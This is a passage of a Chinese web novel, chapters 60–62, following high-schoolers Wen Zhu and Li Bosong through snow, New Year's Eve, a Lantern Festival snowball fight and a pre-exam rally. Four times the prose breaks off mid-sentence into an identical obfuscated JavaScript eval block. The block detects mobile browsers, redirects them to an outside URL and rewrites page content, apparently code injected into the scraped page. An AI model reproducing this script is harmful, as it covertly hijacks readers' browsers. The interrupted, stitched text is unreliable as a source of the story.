闻竹到家后陈青还没睡,在沙发上敷着面膜看剧,她刚进门,还没寒暄几句,就听到陈青问:“外面下雪了?” “嗯,”闻竹在她身边坐下,“还不小呢。” 陈青点点头,招呼她:“去洗脸,然后来陪妈妈敷面膜。” 几分钟后,闻竹换好了家居服,和陈青并肩倚在沙发里,脸上也贴上了一张陈青同款面膜。 陈青:“你发朋友圈了啊。” 闻竹“嗯”了声,不懂她妈妈怎么这么问,就听到陈青接着说:“我还以为你把我屏蔽了。” “……” 陈青又明知故问:“谁给你拍的照?” “……李泊松。” 她点了下头,没再逗人了,之后视线重新回到电视上,竟然还能跟上剧情哈哈大笑,差点把面膜笑掉。 闻竹今天折腾了一天,微信步数几乎在好友中登顶了,在电视的背景音中昏昏欲睡。十分钟后,陈青把她叫醒,让她去卧室睡,她这才梦游似的进了卫生间。 洗了把脸后,她看着镜子里脸上沾着水珠的自己,觉得她对李泊松……好像有点不对劲。 - 雪下了一夜,世界银装素裹,闻竹一大早拉开窗帘,看到了地面上一片洁白松软。 大课间停了,教学楼下竟然有人在打雪仗,曲思嘉在教室里坐不住了,拉着闻竹下楼去看雪。闻竹写完手上那道题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582100|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,戴上围巾和那个丑耳包起身。旁边的李泊松早就不知所踪了,闻竹连他什么时候走的都不知道。 每年冬天都能看到雪,今年的雪和往年也没什么不同,曲思嘉对着雪地“哇”了两声就失去了兴趣,拉着闻竹去超市买热狗肠。超市的人实在太多了,两人出了超市随便走了,就绕到了篮球场。 雪已经停了,没有刮风,呼出的水蒸气上升一会儿就散了。 篮球场没什么人,覆着厚厚的雪。不远处的体育馆倒是很热闹,还没靠近就听到了篮球撞击地面的声音。 距离上课还有十几分钟,曲思嘉带着闻竹去凑热闹,走进馆里后想先去卫生间洗个手,刚刚拿着烤肠的手上还有油。 曲思嘉刚离开,她就迎面遇到了程栩。 程栩和她打了个招呼,闻竹也回一个。虽然是一个学校的,但班级离得远,挺久都没见到面了。本来都已经擦肩而过了,程栩走了两步路却忽然退回来,满脸写着八卦。 闻竹满头问号:“怎么了?” 程栩直入主题:“闻竹,和你打听个事儿。”他凑过去小声道:“你知不知道李泊松喜欢谁?” “啊??” 程栩敢打包票,自己当初绝对没有这么震惊。于是不禁在心里纳闷,他们两个不是发小吗,她竟然不知道? 闻竹整理了一下自己的表情:“怎么突然这么问?” “我们班有个女生想加他微信,他拒绝了,我就帮忙问问,泊松自己说的啊,有喜欢的人。” “哦,”闻竹点了下头,还开了句玩笑,“你这一天也挺忙啊,还负责说媒。” “……”程栩说:“哎呀,你怎么把话题扯开了,你是不知道还是不能说?不能说我就不问了。” 闻竹叹气,语气很真诚:“我真不知道。” 看对面的人一脸不信,她说:“我们两个其实……关系也没那么好。” “……”程栩的表情变得奇怪起来。 “你怎么没想过他可能就是随口胡扯的?”闻竹挑了下眉:“这个借口多好用啊,你看你相信了,人家女生也放弃了。是吧?” 在他走之后一会儿,曲思嘉蹦蹦跳跳地回来了。她敏锐地感觉到闻竹好像突然变得心事重重的,于是问:“怎么了?” 闻竹笑了下:“没事,感觉胃有点不舒服。” “你就吃了一口!呛风了吧。”曲思嘉拉着她转身就走,急道:“回班回班,喝热水。” “没事儿,不严重。”闻竹凑得离她近了些,拉住她:“思嘉,我昨天在宁城回来给你带礼物了,今天忘记拿来了,明天给你哦。” !! 曲思嘉瞬间从担忧脸变成了星星眼。 60. 在劫难逃 爆竹声中一岁除,春风送暖入屠苏。又到了新年,外面的鞭炮和烟花声响亮,客厅的吊灯开着,明亮温馨。 冬日漫漫,昼短夜长。现在还不到七点,外面已是夜色如墨。 都市里的生活节奏越来越快,年味越来越淡,闻竹对新年也没什么情结。春晚还未开始,电视机开着,亮着银白色荧光。她随意地窝进躺椅,插着耳机听重复播放过很多遍的英语听力。 一阵电话铃声打断了耳机里浑厚的美音,她眼睛没睁就点了接听。 “喂?您好。” “是我,”电话那头的男生笑了声,懒洋洋道:“新年快乐,闻竹。” 闻竹登时从躺椅上翻身坐起来。 寒假中,他们两个每天都联系,偶尔见面,但几乎不通电话,所以她有点意外。 “新年快乐,李泊松。”闻竹抿了下唇,无声地笑了下:“你怎么想起给我打电话了?” 那边清了清嗓子:“我怕晚上的祝福太多,你会看不到我的问候,我怕爆竹的声音太响……” “停,”闻竹打断他,笑了下:“行了啊你,你就为了和我说新年祝福?” “是啊,发消息像群发。我多有诚意。” 李泊松人在他妈妈那儿,有小半个月没见到闻竹了。在和闻竹的对话框里打打删删,最后还是决定打电话过去。窗外万家灯火,人影憧憧,他没觉得孤单,只是感觉自己像是一块被拼错了位置的拼图块,原本美观,加上他就违和。 这么想着,就听到闻竹问他:“你不忙吧?和我聊会儿天?” 虽然是说“陪她聊天”,但其实是在陪自己,闻竹大概是怕他在他妈妈那儿觉得没法适应,和他说说话。这些李泊松都知道。 “不忙,”他从书桌前起身,问她:“你呢,我打电话之前你在做什么?” “听英语听力。” 李泊松竟然半点都不觉得意外,他忽然想到什么,补充道:“帮我给叔叔阿姨带好,还有小灿。” 闻竹在电话那头“哦”了声:“你这一碗水端得够平啊。” 他觉得闻竹偶尔的阴阳怪气特可爱,装作没听出来的样子说:“我懂礼貌呗。” “……行。”闻竹没忍住笑出声,她觉得自己有时候真不是李泊松的对手。 起身去厨房倒水的时候,闻兴阳和陈青逛超市刚回来,闻竹又和那边聊了一会儿,帮着他们从后备箱往家里拎了些买的东西。 - 他们家的电视平时几乎不打开,没人爱看,陈青前两年一直想换个大液晶屏,后来想到不实用,也就放弃了。到了该一家人一起看春晚的时候,大家都觉得还是屏幕大点好,闻灿就跑到书房,拿了投影仪下来。 这个投影仪是妹妹今年生日的时候闻兴阳送的礼物。 闻兴阳每次送礼物的时候都问别人想要什么,陈青总说他没有这方面的细胞,这主意还是闻竹出的,被他很高兴地采纳了。 陈青觉得这投影仪不是很实用,但她向来不是扫兴的家长,于是一句没提。后来用这个投影仪最多的成了闻兴阳本人,也算是“钱得其所”了。 闻竹把电源插好,投屏亮起后她调整了一下角度,把屏幕投到白墙上,没一会儿,面前就出现了喜气洋洋的画面。清晰度竟然意外得不错,陈青在旁边看着,改变了看法,觉得这个东西买得挺值。 之后就闻灿一个人坐在沙发那儿看春晚,闻兴阳和陈青在厨房忙活,闻竹也不学习了,在楼上书房翻出来一本《东方快车谋杀案》。 闻灿本想转头和闻竹说话,看到她读书,纳闷道:“姐你大过年的看这个。” “好看就行啦,管它什么时候。”闻竹身子往后一靠,笑道:“这还有说法啊?” 闻灿也笑,之后她就不打扰闻竹了,自己安静地看春晚。几分钟后,她纠结地扯了扯姐姐的袖子,在闻竹带着疑问抬眼看她时说:“这个春晚,好像是去年的……” 闻竹:“啊?” 其实她知道自己操作得并不熟练,但没想到会搞出这么大乌龙,于是拿过遥控器又认真鼓捣了会儿,这才找对了今年的。 开着去年的春晚看了这么长时间,她们俩也觉得挺有意思的,你看看我我看看你,最后都没忍住笑了好一会儿。 闻竹笑倒在沙发上,倒扣在膝盖上的书都因为她的动作掉到地毯上了,她捡起书,习惯性地摸到了身边的手机想发消息给李泊松。她习惯了和他分享这些有趣的琐事,点进聊天框后却顿住了手指。 几秒钟后,她把手机锁屏扔到一边,继续看手里的小说。 - 年夜饭得十一点多才能吃,他们家三个人在厨房那块小空间里包饺子,闻灿在客厅看小品。 闻竹就坐在陈青旁边,听到她说:“我们竹子这饺子包得真漂亮,以后另一半长得帅。” “……啊?”闻竹把手心里刚包的饺子放在盖帘上,随意地笑了下:“真的假的?” “真的,我像你这么大的时候你姥姥就跟我说过。” 闻竹往不远处的闻兴阳那儿看了一眼,觉得这话可能颇有道理。 这会儿,陈青捏了个带着花边的饺子,偏头看了眼闻竹,问:“竹子,你有没有想过去哪个大学?” “没有。”闻竹是真的没想过,所以回答这个问题时很干脆。 陈青并不意外地点了下头:“其他人呢,也没有吗?” “李……路一杭之前说过他想去临大,是名校,离家又近,他爷爷奶奶年纪大了。毕雨泽应该会在那两所体校里选,选哪个我不清楚,思嘉好像没什么计划吧。” 闻兴阳好奇心挺重的:“泊松呢,你都没问过泊松想去哪个大学??” 她本来最先想说李泊松,硬生生给他留到了最后,想开口时就被闻兴阳打断了,闻竹纳闷道:“爸你都没问过我这个问题,你这么关心他做什么?” 闻兴阳有理有据:“泊松不是一直想学医吗,我好奇啊。你又不学。要不你也学?” 闻竹:“……不要。” “李泊松从小就一直想去宁大,现在应该也是。我不清楚,没问过。” “嗯,泊松在哪儿过年呢?”水烧开了,陈青把最后一个硬币包在里饺子里,问闻竹。 “他妈那儿。” 至于大学,她和李泊松没有刻意探讨过这个话题,以前是因为舍不得,好像问了就即将分别似的,现在…… 李泊松那边一切如常,闻竹思来想去,自己都面对不了,更遑论面对他。 程栩那句话真是突如其来,直接给她问懵了。闻竹自认从小到大自己和李泊松之间没有秘密,这人却藏了个大秘密。 回到教室之后,她一直都有些心不在焉的,连接下来的课都有大半时间在溜号。 在此之前,闻竹真以为李泊松对她好是因为他们两个认识了十多年,在友情上造诣颇深,有些情深似海的意味。 但这不对劲。 如果她对李泊松没有别的意思,至少她那天不会那么生气,也不会和他去宁城。这件事反常到陈青都开口试探她和李泊松的关系了,而她自己竟然毫无所觉。 至于李泊松,他说自己有喜欢的人当然可能是假的,但那天在宁城的公寓,她去抱李泊松时男生胸膛里的心跳声也实实在在地震到了她的耳朵。 闻竹心里藏不住事,没几天就忍不住和曲思嘉说了,曲思嘉的回应让她更加抓狂。 她说:“他确实喜欢你啊,我以为你自己知道呢。”闻竹的表情不像演的,于是曲思嘉小心翼翼地问:“你才发现啊?” “……” 这时,闻竹宁愿自己是自作多情。 友情一朝变质,她愁得不行,甚至影响到了正常的学习休息,导致成绩出现了小幅度的下滑。闻竹吃一堑长一智,之后就不再多想了,只是对李泊松有些并不刻意的疏离。 她不能任由这种情绪生长下去。 和李泊松做好朋友的感觉很好、非常好,她不想改变,不想承担任何变化带来的风险。 - 包完饺子,闻灿跑到厨房看陈青做锅包肉,闻竹靠在沙发上打开手机,发现微信很热闹。各个群里都在发祝福语和红包,虽然这喜气洋洋是在网上,但也是喜气。 闻竹最先打开了他们五个的那个小群,刚一点开,发现毕雨泽很不应景地把群名从默认的改成了“冲刺高考,一举夺魁”。 她先爬楼领了四个红包,然后看路一杭和曲思嘉在群里指责他“不合时宜”,她觉得挺有意思,也发了一个。 领完红包大家又一团和气了,李泊松问她做什么去了,她说包饺子。 想了想,还是发了张图过去。 李泊松给她私发消息,她点开看,那边问她有没有吃点东西。 一支竹子:【没有,在等年夜饭。】 一支竹子:【你吃了?】 L:【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592273|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有,你不是容易饿吗?】 闻竹淡淡地笑了下,告诉他今天没饿。 说完,她就退出了对话框点开了班级群,有很多同学在群里祝岩姐和大家新年快乐,她也发了一句。刚发完,岩姐的红包就跟着来了,她说新年快乐孩子们,祝大家今年六月金榜题名。 闻竹忽然想起什么,在客厅喊陈青:“妈妈,咱们包饺子的时候包了几个硬币啊?” “包了五六个吧,记不太清了。都在你爱吃的猪肉芹菜馅里,你和小灿一会儿多吃点。” 闻竹“哦”了声,又捏了下闻灿的手:“听到了吗小灿?” “知道啦姐。” 手机依然在震动着,闻兴阳和陈青也在断断续续地接到拜年的电话,闻竹看了会儿小品,觉得没意思,打开手机,又无意识地打开了微信。 在走神的时候,手机震动了一下,她动了下指尖,看到李泊松给她发了消息。 L:【在家?】 大年三十,不在家在哪儿。她刚想回复,忽然想到了什么,倏地从沙发上坐起来。 在玄关穿鞋的时候,闻竹一点都不确定她猜的对不对,她难得头脑一热,对这种感受觉得新奇。 那个瞬间是无法复刻的一种心血来潮。 她在家里穿着红色毛衣和一条质地柔软加绒的白色裤子,外边随意套了件黑色羽绒服,她扣着外套的扣子,在门口喊:“爸,妈,我出去一趟。” 陈青叫住她:“大晚上的这么冷,这是要去哪儿?” 听到这话,闻竹顿了顿,手机里适时地发来新的消息,她看了一眼,说:“家门口,一会儿就回来。” 之后门关上,把风雪隔绝在室外,闻竹拢了下衣领,迈步走进风雪中。 雪下午就停了,偶尔刮风会卷起雪花。李泊松黑色长羽绒服,踩着黑色靴子,站在一片银白之中。闻竹看他裹得严实,放心了些。 “你怎么过来了?” 李泊松看得出她的着急,她外套的扣子从最上边就扣窜了,头发没梳,柔柔顺顺地散着。 他有点后悔这次的冲动,但面上不显,说:“我在那儿觉得不习惯,就和我妈说认床,要回去取枕头。” 闻竹笑了下,笑完又觉得闷闷的:“冻着没有?” “没啊,没觉得很冷。”他拿出手机给闻竹看天气,还不到零下十度。 “你怎么进来的?” 说到这,他笑了笑:“门卫那个大爷还认识我呢,都这么多年了,他给我开的门。” 闻竹垂着眸子,视线飘到了他另一只手里拎的袋子上。 李泊松觉得时机正好,把那个袋子递给闻竹。 “这是……?” 李泊松说:“新年礼物。” “……谢谢,”闻竹愣了下,接过那个袋子,刚低头看又移开目光去看李泊松的眼睛:“新年礼物吗?可我都没给你准备。” “闻竹,”李泊松语气无奈地叫了她的名字,“我是来送你礼物的,不是和你等价交换的。” 于是她不再说谢谢了,看到李泊松戴着她送的那副手套后高兴了些。 “去坐一会儿吧,”闻竹说着,大拇指向后指了指自己家的大门,“我爸妈见到你会很高兴的。” “大年夜,我就不去了。”这样不太礼貌,但大过年的贸然登门才是不礼貌,见闻竹没关系,他们是好朋友,见她父母就有大问题。 虽然今年的温度不算低,但北方的北方,不管怎么说都是寒气逼人。饶是李泊松再扛冻,也不能在室外待这么久。只这一会儿她自己就冻得脸颊发疼了。 闻竹说:“你低头。” 李泊松顺从地低下头,问她:“要做什么?” 闻竹把自己戴着的白色毛线帽摘下来,本想叫他别多问,照做就是了,一看人家早就照做了,一时间也不知道该说什么好。 她用行动给出了自己的答案,把帽子戴在了李泊松头上。 在李泊松抬起头后,闻竹后退两步,像是研究数学卷上的立体图形一样观察了一会儿,之后自己很满意:“好好戴着吧。” “这是女孩的帽子吧?” 闻竹听了,面无表情:“不冷就行了,管它男女。”她很懂得怎么拿捏李泊松,“没见你戴过这种帽子,挺帅的。” 李泊松捕捉到了关键字,放弃挣扎了。 之后闻竹站在门口看着他的背影,觉得大事不妙、在劫难逃。 61. 依赖养分 这个冬天没有往年那么冷,但室外依然挂满冰霜。昨夜雪急风大,松软的雪花压在台阶上,映着还没摘掉的红灯笼和窗花,瑞雪兆丰年。 元宵节,年味还没散,家家户户喜气洋洋。不巧的是闻兴阳加班,陈青出差也还没回来。闻竹站在楼下等自己和妹妹的外卖,呼出的白气在冷空气中凝固又消散。 李泊松问她要不要去放烟花的情景好像就在昨天,眨眼间,半个月的假期蜻蜓点水般掠过。今天是能燃放烟花爆竹的最后一天,到了明早,该上班的人上班,该上学的人也马上要开启新挑战了。 群里在热闹地讨论晚上去哪放烟花的事情,闻竹一直在屏幕外看着没说话,曲思嘉问她在哪儿,她说还在家。 在闻竹的计划中,她本想今天把行李和书搬回四季学府的公寓的,但几天家里只有闻灿一个人,她就在家里和妹妹作伴。她们两个在家通常是互相打扰的类型,两个人一直有话说,而闻灿看着文静内向,实则是个不折不扣的小话痨,能把闻竹也带动得爱说起来。 吃过了外卖再看群的时候,毕雨泽提议早点出来吃饭,吃完饭可以逛逛公园,刚发出来就马上撤回了。 【曲思嘉:你撤回了什么?】 【路一杭:我看到了,可以啊。】 【路一杭:毕哥问,要不要早点出来一起吃个饭。】 【曲思嘉:我也没问题。】 毕雨泽他父母都在航司工作,总是天南海北地飞,每个月在临城的时间只有四分之一,还早出晚归的。不过今年他姐姐也早早地回了学校,他自己过节。 【毕雨泽:你俩不和家里人一起吃啊?】 【路一杭:我姑姑在呢,没事。】 最后商量的结果就是,他们五个要去吃一家开在小胡同里的烧烤。这地方两个女生之前去过,开着导航还走错了两次。 闻竹收到李泊松的小窗聊天。 【L:你什么时候出发?我先去找你吧。】 【一支竹子:为什么?】 【L:我怕我找不到。】 【一支竹子:……你还没找呢。】 李泊松一直知道她嘴硬心软,忍着没回复,起身换衣服的时候等她的消息。 【一支竹子:我四点走,在明熙路口等你?】 他火速打字。 【L:嗯,我换身衣服,马上就出门,等我。】 【晚上冷,戴好围巾和手套。】 他习惯性地打了这么一行字,在按下发送键前他皱了皱眉,又删掉了。 删掉之后他走到客厅,把闻竹的帽子放进了一会儿要背的包里。 - 闻竹看见李泊松的时候眼睛都快直了,觉得这人真是够能折腾的,她也真的很服气。 “不是,你什么时候拿的驾照?” “前几天啊。” 李泊松随口答了一句,很绅士地给闻竹开了车门,看她迟迟不上车,表情也很不对劲,好笑道:“怎么,你害怕?” “我……” “我科二科三都是满分,车技没问题,放心吧。” “我不害怕,谁说我害怕了。” 闻竹嘟囔了一句,钻进了副驾驶。 直到系好安全带,她还有种不真实的感觉。 “……那车呢?车是谁的?”她上车前看了眼,车牌是本地的,是他妈妈的车吗? “我妈借我的。我原本没想开车,但是不说要放烟花,得有烟花才能放啊,所以就开了。”他弯弯唇,“我看我妈也挺放心的。” 闻竹恍然大悟,原来后备箱里有烟花。 车子刚启动时,闻竹的手不自觉地捏着安全带的一角,李泊松意识到了。在等第一个红灯时,他又偏头看了眼,发现闻竹已经拿开了那只无处安放的手,正靠在座椅上安静地玩手机。 李泊松忽然道:“你戴这围巾好看,”闻竹刚想说话,就听他接着说:“我眼光真不错啊。” “啊,是。”她无语地附和了一句,又说:“谢谢你。” - 才五点钟,天已经擦黑了,北方冬日的傍晚总是灰蒙蒙的,树也光秃秃一片,看着总是很萧索。 云港公园是临城的一个游客打卡点,有一面地标墙,颇受欢迎。这里的建筑多是色彩鲜明的,有很多当地文创店读开在这里,春夏时天长,距离门口不远处就是这儿最大的夜市,李泊松把车就停在这附近的停车场。 现在虽说夜市开不起来,但年味未散,树上满是春节挂上的彩灯,昏黄的灯光在黑夜里宛如萤火虫一般,映照着雪色,看着暖意融融。 他们吃了饭沿着夜市那条街走到这边,灯光刚好亮起,一时间凤凰展翅,蝴蝶欲飞。 夏末时这里新开了家奶茶店,据说是自创招牌,闻竹有次坐公交回家,看到这边排队的人拐了两个弯,很是夸张。 “真有那么好喝?” 曲思嘉打开某个软件给她念上边的评论:“十月一来这旅游,三天喝了六杯,能不能开到南方来啊呜呜呜……” “行,”闻竹听她呜了一会儿,问:“现在就要喝啊?刚吃完饭。” “现在不喝,”她指了指闻竹身后,“你看那边。” 闻竹刚听她说话很专注,这会儿一回头,发现这仨男生竟然打上雪仗了。 “……过了个年,没成熟一点。” 在她把手机揣进兜里的功夫,一个雪球“啪”地一下打在她的小腿上。闻竹朝那边淡淡地瞥了一眼就收回了目光,像是全然没当回事。 一个雪球打在李泊松后背上,他转过身,重新加入“战场”。 闻竹怕弄脏围巾,先把它叠好放进包里,而后从包里抽出一副手套。她递给曲思嘉一只,朝他们三个“混战”的方向抬了抬下巴,眼神里流露着些狡黠。 曲思嘉戴好那只手套的时候,闻竹已经捏好了一个雪球背在身后了。 她朝着李泊松的后背扔出雪球,准头有,但有人后脑勺长了眼睛,一侧身躲过去了。 闻竹没打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603451|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中也不恼,李泊松倒是笑得灿烂:“就知道你不会那么算了。” 另一只手的雪球随即扔了出去,正好打在他的裤腿处。 闻竹哼了声,大仇得报。 曲思嘉在场外围观了一会儿,难以想象这四个人是十八岁的高中生。 她站得太近,险些被误伤,闻竹朝她招手,在雪夜里笑得明媚。 转身的时候,路一杭握着个雪球朝她扔过来。她一时间躲不开,不知道什么时候到她身边的李泊松倒是很够意思,半个身子转过来护了她一下,雪花在他的后背簌簌落下。 闻竹这会儿反应过来了,那个雪球是朝着李泊松扔的,但偏了。 她还没开口,李泊松垂眼看着她的手,问她:“你就一只手套?” 闻竹右手戴着手套,左手整个被雪冰得通红。她刚刚一直在摸雪,现在停下来了,手有种很久没有感受过的灼烧感。这种灼烧感让她感觉充盈。 “另一只在思嘉那儿,”闻竹浑不在意:“没事,不冷。” 说完,她抬头看着李泊松,试探了一句:“之前一直这样也没见你说什么,你比之前……有风度了啊。” 在打嘴仗上,李泊松也算是和闻竹交手多年,身经百战。他扫掉冲锋衣上的雪,自然地接话:“是啊,这不是应该的吗?” 闻竹就哼了一声。 “我包里有手套,我拿给你。” “有手套你不戴?你……哦,是我送的那副吗?” “嗯,你等我一下。” “算了,”闻竹叫住他:“大家都累了,再玩一会儿就去喝奶茶了,没事。” 他们两个在这边说几句话的功夫,那三个人已经休战了。他们三个动作一致地掸着身上的雪,都气喘吁吁的。 李泊松一个雪球扔到路一杭身上,准头依旧。路一杭愣了一会才反应过来,他这是算帐来了。 这“仇”真是不管多晚都得报啊。大家刚干净了一会儿,就又滚进了雪里。 又闹了一阵子,最后他们都打不动了,纷纷倒在雪地上。 闻竹和曲思嘉戴好外套上的帽子,在雪里捂得严严实实,他们这会儿累坏了,放烟花的浪漫计划几乎被抛之脑后。 天色彻底暗下来,雪映照着莹莹的灯光,黑夜浓重得像是要沉下来。李泊松碰了下闻竹的袖子,闻竹感觉到了,以为他是不小心,没动。过了一会儿,他又扯了一下。 她偏头去看,李泊松笑了下,小声说:“你的帽子还在我这。” 闻竹点头:“嗯,一会儿再说吧,不着急。” 李泊松拿着这个帽子本是怕闻竹穿得少,准备早早给她的,但她自己捂得严严实实,用不上这个帽子。 闻竹不缺朋友,而且善良有趣、勇敢坚定。看起来冷冷的,却有太多光辉灿烂洒在了他身上。他像植物依赖养分一样依赖这些,而以闻竹的性格,不需要任何人也能过得很好很好。 在意识到喜欢她的那一刻,李泊松就觉得大事不妙,在劫难逃。 62. 百日誓师 “假期真快啊,假期怎么过得这么快,我的假期,魂兮归来……” 早自习马上开始了,毕雨泽早起却过分清醒,念叨了一早。 曲思嘉的座位离他有两排都听得一清二楚,她刚忍无可忍地转头就看到岩姐缓缓走了过来。 岩姐在毕雨泽背上拍了一把,不重,但吓了他一跳。 毕雨泽后背一凉,听到一道严肃冷冽的女声说:“假期很快吗?马上你就知道了,百日誓师之后那一百天才快呢,还不着急!”她说完,恨铁不成钢地敲了下手边的桌角:“把你所有作业拿过来,我亲自检查。” 岩姐离开他座位后,毕雨泽小声说:“喳——” 李泊松正在座位上写题,听到这话不知道为什么很想笑,笑得肩膀都有些抖。闻竹趴在桌上,半睁开眼睛问他:“你笑什么呢?” 他偏头看闻竹:“吵醒你了?那正好,快打铃了,起来吧。” 说完他心里觉得有意思,毕雨泽在后面招魂那么就闻竹都没反应,倒是被他笑醒了。 “知道了。”闻竹嘴上答应着,却完全没过心,把头转过去接着睡。 李泊松心里笑她越来越会敷衍,但也没再吵她。过了一会儿,在还有一分钟打铃的时候,闻竹打着哈欠,抽了两张纸巾从后门出去了。 回来后,她人已经清醒了,李泊松刚才能判断出闻竹一定会醒,但不清楚她的起床气现在还在不在,原本是不想先开口的。但他看到闻竹有一缕刘海沾到了水,还是说道:“你又用凉水洗脸,还没到春天呢。” 闻竹用手背蹭了下自己的脸颊,冰冰凉凉的,挺舒服。 “没事,我习惯了。你还说我,你穿半袖呢。” “今年的供暖比去年好,再穿就多了,”李泊松说着,看着她弯了下眼睛,“我发现你长了一颗痘,上火了啊。” 他几乎没见过闻竹长痘,今天一早就看到了。 闻竹哭笑不得:“我这不是热的。” 李泊松挑眉,凑近了些去看闻竹那颗痘。 现在的闻竹没法像之前一样大大方方地由他看,身子条件反射般地向后靠了一下,动作幅度有些大,让李泊松有点愣住了。闻竹和他对上视线后马上就反应过来了,颇有些讪讪:“我这是因为马上又要摸底考试了,压力大。” 从李泊松的表情来看,他明显没信,但嘴上顺着闻竹的意思附和道:“嗯,你说是什么就是什么。” “……” 这颗痘倒是不影响她的好看,闻竹也一副全然不在意的样子。但她还是高兴不起来,主要是因为这个不小心碰一下就很疼。而且,说不定就是因为她和李泊松这点破事愁出来的…… 转脸看向他,李泊松正在把每科的假期作业摆在桌面上,不明白闻竹为什么大幅度地转头。 两人又对视了几秒钟,负责收作业的路一行推了下眼镜,冷酷地就近敲了下闻竹的桌子,提醒道:“化学作业。” 他们两个又同时把头转回去翻自己的作业。 后边伸出一只手拍了下李泊松的肩膀,毕雨泽用气声说:“泊松,松哥,先别交!让我借鉴几道题。” 李泊松刚把练习册放在毕雨泽桌上,手还没收回来,就听到岩姐叫闻竹过去。 毕雨泽吓得缩了下脖子,发现岩姐没看他后转眼看向李泊松,一边偷摸地翻他的作业一边好奇道:“老师叫闻竹什么事?” “可能……是好事?” 然后毕雨泽抬头,就看到闻竹转身往座位这边走了。 李泊松看到她的脸色,“嗯”了声,重复道:“是好事。” “啊?”毕雨泽揉了把眼睛,愣是没在那和平时没半点变化的了脸上看出半点高兴的意思。他又问:“你怎么知道啊?” 李泊松只笑了下,深藏功与名。 闻竹刚坐回座位从桌格抽出水,还没等她拧开瓶口,毕雨泽就戳了下她的椅背:“岩姐找你啥事?” 她咕咚咕咚灌了小半瓶水,半转过身,无精打采道:“让我百日誓师的时候演讲。” 李泊松并不意外,这让毕雨泽更意外了。 这种情况发生得多了,他甚至觉得这两人是不是有什么奇怪的心灵感应。 李泊松说:“是好事啊。” 闻竹懒得理他,心想,不如你看看离百日誓师还有几天再说这话。 李泊松见闻竹沉默,于是也想起了这回事:“哦,没几天了是吧。” 他心很大地说:“要不,我帮你写吧。” 闻竹想起他的“光辉事迹”,笑了下,逗他:“写什么?还是‘坚韧如何改变一个人’?” “嗯。”他不觉得有什么问题,“而且,一件事两个人做总比一个人做要快嘛。” 听到这话,闻竹挑了下眉:“可是‘坚韧如何改变一个人’大家都听过了啊。” 虽然高二上学期因为和陆昊然打架演讲泡汤变成了检讨,但高二下学期岩姐又让李泊松补上了。他逮着一只羊薅,又在主席台上讲坚韧。 对此,李泊松很淡然:“不会的,当时除了你没人好好听。” 闻竹:“……” 这话题就这么翻页了,这之后的几天里,闻竹没让他帮忙写稿子,他也没见她自己写。 闻竹身上总带有那种泰山崩于前而色不变的气质,李泊松也不替她着急,反而十分期待百日誓师那天的到来。 - 百日誓师当天,冬春之交的太阳高挂,遍地暖色。高二学生代表讲话的时候,闻竹板板正正地穿着一身校服,还别好了胸卡,在主席台下等待。李泊松脖子上挂着相机,在闻竹看向他的时候,他正微低着头调参数,看起来像模像样的。 闻竹晃了下神,忽地想到李泊松转学回临城已经是一年前的事情了。 一年时间不算长,和他们之前的交情相比更是九牛一毛,但闻竹清楚自己比之前更了解他。知道了他的过往和念想,一起拼凑过他破碎的心脏一角。 现在的李泊松更像是他原本的样子,张扬、坚定,还有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644723|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种游刃有余的自信。 她回神看过去,发现他正拿起相机对着自己,黑色的相机遮住了男生的半张面孔。 闻竹刚想问他怎么干上学生会的活了,这是被谁拉来当了苦力,就听到眼前人问:“你不拿稿子?” “不拿,”闻竹挺自信地说:“我倒背如流了。” 他唇角勾起个很明显的笑,点点头:“知道了。” 主持人上台,声情并茂地请高三代表上台演讲。 闻竹上台前回头看李泊松,刚想说话就被李泊松有预感似的叫停了。 “别动,就这个角度,OK。” 他摁下快门后在相机后探出头,眯了下眼睛对闻竹说:“好,很漂亮。整理一下右边的衣领。” 闻竹听话地摆弄了一下领子,看到他的手一直拿着相机,手上戴着黑色手套。闻竹细细看去,发现是自己在他生日时买给他的那副。 李泊松站在台下,时不时地就抓拍几张照片,一心二用,耳朵认认真真地听着。 